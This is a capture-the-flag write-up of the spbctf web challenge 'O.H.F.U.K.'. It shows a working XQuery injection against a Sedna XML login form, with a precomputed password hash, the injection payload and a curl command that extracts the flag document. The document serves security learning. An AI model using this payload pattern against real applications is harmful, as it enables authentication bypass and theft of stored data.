O.H.F.U.K.
O.H.F.U.K.
Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-17 | Status: Solved Techniques: hash_precomputation, xml_document_extraction, xquery_injection
Summary
Task: Web application using Sedna XML database with XQuery. Solution: XQuery injection in login field to extract flag document, bypassing authentication by injecting known hash.
O.H.F.U.K. — spbctf
Description
Мы наткнулись на сайт, использующий странную технологию. ohfuk.spb.ctf.su/ Сбрутили учётку test : test, достали сорцы (в аттаче), а дальше никак. Сделайте нам SELECT flag FROM flag.
Analysis
Technology Stack
The site uses rare technologies:
- Sedna — XML database using XQuery (not SQL!)
- ALX — scripting language (similar to PHP), source file
index.alx - Login form with known credentials test:test
Vulnerability — XQuery Injection
The login field is directly concatenated into the XQuery expression without sanitization:
xquery read-only • copy allowedfor $user in doc("users")/user return ( if ($user/login = "' + login + '") then ( <result>{$user/hash}{$user/level}</result> ) else ( ) )
Authentication Mechanism
The password is hashed as md5(sha1(md5(password))) and compared with the stored hash:
python read-only • copy allowedimport hashlib p = 'test' h = hashlib.md5(p.encode()).hexdigest() h = hashlib.sha1(h.encode()).hexdigest() h = hashlib.md5(h.encode()).hexdigest() # Result: 54640093f5e4052d9aeda7f90b0b6324
Solution
Step 1: Computing the Hash
To bypass password verification, we need the hash for "test":
python read-only • copy allowed#!/usr/bin/env python3 import hashlib password = 'test' h = hashlib.md5(password.encode()).hexdigest() h = hashlib.sha1(h.encode()).hexdigest() h = hashlib.md5(h.encode()).hexdigest() print(h) # 54640093f5e4052d9aeda7f90b0b6324
Step 2: Crafting the XQuery Injection
The goal is to read doc("flag") from the Sedna XML database. The injection must:
- Properly close the original
ifcondition - Return a
<result>element with a known hash (to pass password verification) and the flag content in the<level>field (which is displayed) - Maintain syntactic correctness of the remaining query
Payload for the login field:
test") then (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) else if ("1"="1
This transforms the XQuery into:
xquery read-only • copy allowedfor $user in doc("users")/user return ( if ($user/login = "test") then (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) else if ("1"="1") then ( <result>{$user/hash}{$user/level}</result> ) else ( ) )
Step 3: Executing the Attack
bash read-only • copy allowedcurl -s -X POST \ --data-urlencode 'login=test") then (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) else if ("1"="1' \ --data-urlencode 'pass=test' \ https://ohfuk.spb.ctf.su/
Response:
html read-only • copy allowed<h2>Welcome, test"...(injection).... You have access level FLAG IS: REDACTED</h2>
Failed Attempts
- First attempt with
doc("flag")returned empty result — needed//text()to extract text content - HTTP POST on port 80 redirected to HTTPS and converted to GET, losing the POST body — needed to POST directly to HTTPS